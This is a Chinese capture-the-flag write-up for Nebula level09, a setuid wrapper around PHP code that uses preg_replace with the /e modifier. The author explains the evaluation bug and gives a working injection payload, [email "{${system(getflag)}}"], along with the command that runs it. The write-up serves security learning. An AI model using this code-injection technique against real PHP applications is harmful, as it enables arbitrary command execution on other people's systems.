There’s a C setuid wrapper for some vulnerable PHP code…
To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
由于不熟悉php,刚开始摸索了半天如何运行。/home/flag09
目录下有两个文件:带s标识的可执行文件flag09
,和flag09.php
原文件。
要运行程序有两个方法:
./flag09 <arg1> <arg2>
或
php flag09.php <arg1> <arg2>
程序的作用是把文件中的email字段做替换。
比如输入是:[email [email protected]]
则替换为:[email abc AT def dot com]
同时如果方括号[ ]
单独出现,则会替换为尖括号<>
,即:
[ email [email protected] ]
替换为 < email abc AT def dot com >
。
刚开始觉得程序中的use_me
是个暗示。由于源程序并没有使用这个变量,猜测将自己的脚本挂在第二个参数的位置可能会被顺带以s权限运行。事实证明是错误的。
接着发现程序中的调用实际上是调用spam函数,如果spam函数可以被替换或者修改,就可以成功注入。在php文件中只要加入system("getflag");
就可以执行系统调用,因此这条路似乎很有希望。但是由于不熟悉php也不明白正则表达,在此处卡死。
大神的回答 告诉我,
preg_replace第一个参数后使用了/e,即使用了/e模式,如果启用该模式,那么preg_replace的第二个参数将会被作为代码执行。前段时间Thinkphp也出现了这种漏洞。
在php变量引用中,如果双引号的字符串出现了“$变量名”或“${变量}”的形式,最终引用的是变量值。同样的思想,如果是函数,则引用的是函数的返回结果。
因此构造一个带有system()
的参数成为唯一的关键点。
答案是:
[email "{${system(getflag)}}"]
注意,虽然system("getflag")
和system(getflag)
在单独语句中的效果是相同的,但在php中当做参数传入时,可能是因为无法嵌套两层双引号,会发生错误,因此此处必须只能用一层双引号。
接着运行如下拿到flag:
level09@nebula: /tmp$ /home/flag09/flag09 getscript.txt abc